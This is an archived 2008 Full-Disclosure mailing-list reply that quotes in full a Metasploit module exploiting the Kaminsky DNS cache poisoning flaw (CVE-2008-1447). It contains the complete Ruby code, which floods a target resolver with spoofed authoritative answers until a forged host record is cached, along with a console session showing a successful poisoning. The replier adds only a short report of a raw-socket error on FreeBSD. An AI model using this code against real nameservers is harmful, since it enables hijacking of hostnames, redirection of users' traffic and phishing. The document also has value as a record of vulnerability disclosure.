New User, Welcome!     Login

Re: [Full-disclosure] CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit

From: Ganbold <ganbold micom mng net>
To: "I)ruid" <druid caughq org>
Cc: full-disclosure lists grok org uk, bugtraq <bugtraq securityfocus com>
Subject: Re: [Full-disclosure] CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit
Date: Thu - Jul 24, 2008 09:29 PM


I)ruid wrote:
>                       ____      ____     __    __
>                      /    \    /    \   |  |  |  |
>         ----====####/  /\__\##/  /\  \##|  |##|  |####====----
>                    |  |      |  |__|  | |  |  |  |
>                    |  |  ___ |   __   | |  |  |  |
>   ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
>                      \____/  |__|  |__|  \______/
>                                                      
>                     Computer Academic Underground
>                         http://www.caughq.org
>                             Exploit Code
>
> ===============/========================================================
> Exploit ID:     CAU-EX-2008-0002
> Release Date:   2008.07.23
> Title:          bailiwicked_host.rb
> Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
> Tested:         BIND 9.4.1-9.4.2
> Attributes:     Remote, Poison, Resolver, Metasploit
> Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
> Author/Email:   I)ruid <druid (@) caughq.org>
>                 H D Moore <hdm (@) metasploit.com>
> ===============/========================================================
>
> Description
> ===========
>
> This exploit targets a fairly ubiquitous flaw in DNS implementations
> which allow the insertion of malicious DNS records into the cache of the
> target nameserver.  This exploit caches a single malicious host entry
> into the target nameserver.  By causing the target nameserver to query
> for random hostnames at the target domain, the attacker can spoof a
> response to the target server including an answer for the query, an
> authority server record, and an additional record for that server,
> causing target nameserver to insert the additional record into the
> cache.
>
>
> Example
> =======
>
> # /msf3/msfconsole
>
>                 _                  _       _ _
>                | |                | |     (_) |
>  _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
> | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
> | | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
> |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
>                             | |
>                             |_|
>
>
>        =[ msf v3.2-release
> + -- --=[ 298 exploits - 124 payloads
> + -- --=[ 18 encoders - 6 nops
>        =[ 72 aux
>
> msf > use auxiliary/spoof/dns/bailiwicked_host
> msf auxiliary(bailiwicked_host) > show options
>
> Module options:
>
>    Name      Current Setting    Required  Description
>    ----      ---------------    --------  -----------
>    HOSTNAME  pwned.example.com  yes       Hostname to hijack
>    NEWADDR   1.3.3.7            yes       New address for hostname
>    RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
>    RHOST                        yes       The target address
>    SRCPORT                      yes       The target server's source query port (0 for automatic)
>    XIDS      10                 yes       Number of XIDs to try for each query
>
> msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
> RHOST => A.B.C.D
>
> msf auxiliary(bailiwicked_host) > check
> [*] Using the Metasploit service to verify exploitability...
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*] FAIL: This server uses static source ports and is vulnerable to poisoning
>
> msf auxiliary(bailiwicked_host) > set SRCPORT 0
> SRCPORT => 0
>
> msf auxiliary(bailiwicked_host) > run
> [*] Switching to target port 48178 based on Metasploit service
> [*] Targeting nameserver A.B.C.D
> [*] Querying recon nameserver for example.com.'s nameservers...
> [*]  Got answer with 2 answers, 0 authorities
> [*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.
> [*] Querying recon nameserver for address of ns89.worldnic.com....
> [*]  Got answer with 1 answers, 0 authorities
> [*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45
> [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
> [*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
> [*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.
> [*] Querying recon nameserver for address of ns90.worldnic.com....
> [*]  Got answer with 1 answers, 0 authorities
> [*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45
> [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
> [*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
> [*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
> [*] Sent 1000 queries and 20000 spoofed responses...
> [*] Sent 2000 queries and 40000 spoofed responses...
> [*] Sent 3000 queries and 60000 spoofed responses...
> [*] Sent 4000 queries and 80000 spoofed responses...
> [*] Sent 5000 queries and 100000 spoofed responses...
> [*] Sent 6000 queries and 120000 spoofed responses...
> [*] Sent 7000 queries and 140000 spoofed responses...
> [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
> [*] Auxiliary module execution completed
> msf auxiliary(bailiwicked_host) > 
>
> msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
> [*] exec: nslookup pwned.example.com A.B.C.D
>
> Server:         A.B.C.D
> Address:        A.B.C.D#53
>
> Non-authoritative answer:
> Name:   pwned.example.com
> Address: 1.3.3.7
>
>
> Credits
> =======
>
> Dan Kaminsky is credited with originally discovering this vulnerability.
>
>
> References
> ==========
>
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
> http://www.kb.cert.org/vuls/id/800113
>
>
> Metasploit
> ==========
>
> require 'msf/core'
> require 'net/dns'
> require 'scruby'
> require 'resolv'
>
> module Msf
>
> class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
>
>    include Exploit::Remote::Ip
>
>    def initialize(info = {})
>            super(update_info(info, 
>                    'Name'           => 'DNS BailiWicked Host Attack',
>                    'Description'    => %q{
>                            This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
>                            Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
>                            malicious host entry into the target nameserver by sending random sub-domain
>                            queries to the target DNS server coupled with spoofed replies to those
>                            queries from the authoritative nameservers for the domain which contain a
>                            malicious host entry for the hostname to be poisoned in the authority and
>                            additional records sections.  Eventually, a guessed ID will match and the
>                            spoofed packet will get accepted, and due to the additional hostname entry
>                            being within bailiwick constraints of the original request the malicious host
>                            entry will get cached.
>                    },
>                    'Author'         => [ 'I)ruid', 'hdm' ],
>                    'License'        => MSF_LICENSE,
>                    'Version'        => '$Revision: 5585 $',
>                    'References'     =>
>                            [
>                                    [ 'CVE', '2008-1447' ],
>                                    [ 'US-CERT-VU', '8000113' ],
>                                    [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
>                            ],
>                    'Privileged'     => true,
>                    'Targets'        => 
>                            [
>                                    ["BIND",  
>                                            {
>                                                    'Arch' => ARCH_X86,
>                                                    'Platform' => 'linux',
>                                            },
>                                    ],
>                            ],
>                    'DisclosureDate' => 'Jul 21 2008'
>                    ))
>                    
>                    register_options(
>                            [
>                                    OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
>                                    OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
>                                    OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
>                                    OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
>                                    OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
>                                    OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
>                            ], self.class)
>                                    
>    end
>    
>    def auxiliary_commands
>            return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
>    end
>
>    def cmd_check(*args)
>            targ = args[0] || rhost()
>            if(not (targ and targ.length > 0))
>                    print_status("usage: check [dns-server]")
>                    return
>            end
>
>            print_status("Using the Metasploit service to verify exploitability...")
>            srv_sock = Rex::Socket.create_udp(
>                    'PeerHost' => targ,
>                    'PeerPort' => 53
>            )               
>
>            random = false
>            ports  = []
>            lport  = nil
>            
>            1.upto(5) do |i|
>            
>                    req = Resolv::DNS::Message.new
>                    txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
>                    req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
>                    req.rd = 1
>                    
>                    srv_sock.put(req.encode)
>                    res, addr = srv_sock.recvfrom()
>                    
>
>                    if res and res.length > 0
>                            res = Resolv::DNS::Message.decode(res)
>                            res.each_answer do |name, ttl, data|
>                                    if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
>                                            t_addr, t_port = $1.split(':')
>
>                                            print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
>                                            t_port = t_port.to_i
>                                            if(lport and lport != t_port)
>                                                    random = true
>                                            end
>                                            lport  = t_port
>                                            ports << t_port
>                                    end
>                            end
>                    end     
>            end
>            
>            srv_sock.close
>            
>            if(ports.length < 5)
>                    print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
>                    return
>            end
>            
>            if(random)
>                    print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
>                    print_status("      This server may still be exploitable, but not by this tool.")
>            else
>                    print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
>            end
>    end
>            
>    def run
>            target   = rhost()
>            source   = Rex::Socket.source_address(target)
>            sport    = datastore['SRCPORT']
>            hostname = datastore['HOSTNAME'] + '.'
>            address  = datastore['NEWADDR']
>            recons   = datastore['RECONS']
>            xids     = datastore['XIDS'].to_i
>            ttl      = datastore['TTL'].to_i
>            xidbase  = rand(4)+2*10000
>
>            domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
>
>            srv_sock = Rex::Socket.create_udp(
>                    'PeerHost' => target,
>                    'PeerPort' => 53
>            )
>
>            # Get the source port via the metasploit service if it's not set
>            if sport.to_i == 0
>                    req = Resolv::DNS::Message.new
>                    txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
>                    req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
>                    req.rd = 1
>                    
>                    srv_sock.put(req.encode)
>                    res, addr = srv_sock.recvfrom()
>                    
>                    if res and res.length > 0
>                            res = Resolv::DNS::Message.decode(res)
>                            res.each_answer do |name, ttl, data|
>                                    if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
>                                            t_addr, t_port = $1.split(':')
>                                            sport = t_port.to_i
>
>                                            print_status("Switching to target port #{sport} based on Metasploit service")
>                                            if target != t_addr
>                                                    print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
>                                            end
>                                    end
>                            end
>                    end
>            end
>
>            # Verify its not already cached
>            begin
>                    query = Resolv::DNS::Message.new
>                    query.add_question(hostname, Resolv::DNS::Resource::IN::A)
>                    query.rd = 0
>
>                    begin
>                            cached = false
>                            srv_sock.put(query.encode)
>                            answer, addr = srv_sock.recvfrom()
>
>                            if answer and answer.length > 0
>                                    answer = Resolv::DNS::Message.decode(answer)
>                                    answer.each_answer do |name, ttl, data|
>                                            if((name.to_s + ".") == hostname  and data.address.to_s == address)
>                                                    t = Time.now + ttl
>                                                    print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
>                                                    print_status("         Cache entry expires on #{t.to_s}... sleeping.")
>                                                    cached = true
>                                                    sleep ttl
>                                            end
>                                    end
>                            end
>                    end until not cached
>            rescue ::Interrupt
>                    raise $!
>            rescue ::Exception => e
>                    print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
>            end
>
>            res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
>
>            print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
>
>            # Look up the nameservers for the domain
>            print_status "Querying recon nameserver for #{domain}'s nameservers..."
>            answer0 = res0.send(domain, Net::DNS::NS)
>            #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
>
>            barbs = [] # storage for nameservers
>            answer0.answer.each do |rr0|
>                    print_status " Got an #{rr0.type} record: #{rr0.inspect}"
>                    if rr0.type == 'NS'
>                            print_status "  Querying recon nameserver for address of #{rr0.nsdname}.."
>                            answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
>                            #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
>                            answer1.answer.each do |rr1|
>                                    print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
>                                    res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
>                                    print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
>                                    answer2 = res2.send(domain)
>                                    if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
>                                            nsrec = {:name => rr0.nsdname, :addr => rr1.address}
>                                            barbs << nsrec
>                                            print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
>                                    end
>                            end
>                    end     
>            end
>
>            if barbs.length == 0
>                    print_status( "No DNS servers found.")
>                    srv_sock.close
>                    disconnect_ip
>                    return
>            end
>
>            # Flood the target with queries and spoofed responses, one will eventually hit
>            queries = 0
>            responses = 0
>
>            connect_ip if not ip_sock
>
>            print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
>
>            while true
>                    randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
>
>                    # Send spoofed query
>                    req = Resolv::DNS::Message.new
>                    req.id = rand(2**16)
>                    req.add_question(randhost, Resolv::DNS::Resource::IN::A)
>
>                    req.rd = 1
>
>                    buff = (
>                            Scruby::IP.new(
>                                    #:src   => barbs[0][:addr].to_s,
>                                    :src   => source,
>                                    :dst   => target,
>                                    :proto => 17
>                            )/Scruby::UDP.new(
>                                    :sport => (rand((2**16)-1024)+1024).to_i,
>                                    :dport => 53
>                            )/req.encode
>                    ).to_net
>                    ip_sock.sendto(buff, target)
>                    queries += 1
>                    
>                    # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
>                    req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
>                    req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
>                    req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
>                    req.qr = 1
>                    req.ra = 1
>
>                    xidbase.upto(xidbase+xids-1) do |id|
>                            req.id = id
>                            barbs.each do |barb|
>                                    buff = (
>                                            Scruby::IP.new(
>                                                    #:src   => barbs[i][:addr].to_s,
>                                                    :src   => barb[:addr].to_s,
>                                                    :dst   => target,
>                                                    :proto => 17
>                                            )/Scruby::UDP.new(
>                                                    :sport => 53,
>                                                    :dport => sport.to_i
>                                            )/req.encode
>                                    ).to_net
>                                    ip_sock.sendto(buff, target)
>                                    responses += 1
>                            end
>                    end
>
>                    # status update
>                    if queries % 1000 == 0
>                            print_status("Sent #{queries} queries and #{responses} spoofed responses...")
>                    end
>
>                    # every so often, check and see if the target is poisoned...
>                    if queries % 250 == 0 
>                            begin
>                                    query = Resolv::DNS::Message.new
>                                    query.add_question(hostname, Resolv::DNS::Resource::IN::A)
>                                    query.rd = 0
>    
>                                    srv_sock.put(query.encode)
>                                    answer, addr = srv_sock.recvfrom()
>
>                                    if answer and answer.length > 0
>                                            answer = Resolv::DNS::Message.decode(answer)
>                                            answer.each_answer do |name, ttl, data|
>                                                    if((name.to_s + ".") == hostname and data.address.to_s == address)
>                                                            print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
>                                                            disconnect_ip
>                                                            return
>                                                    end
>                                            end
>                                    end
>                            rescue ::Interrupt
>                                    raise $!
>                            rescue ::Exception => e
>                                    print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
>                            end
>                    end
>
>            end
>
>    end
>
> end
> end
>   


On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw 
socket even when running as root:
...
[-] This module is configured to use a raw IP socket. On Unix systems, 
only the root user is allowed to create raw sockets.Please run the 
framework as root to use this module.
 
[*] Attempting to inject poison records for example.com.'s nameservers 
into 202.72.241.4:55088...
[-] Auxiliary failed: undefined method `sendto' for nil:NilClass



>
>   
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


-- 
A prisoner of war is a man who tries to kill you and fails, and then 
asks you not to kill him. -- Sir Winston Churchill, 1952




Copyright © 1995-2012 LinuxRocket.net. All rights reserved.

Nearly all of LinuxRocket's features are free. Be kind and donate to the cause!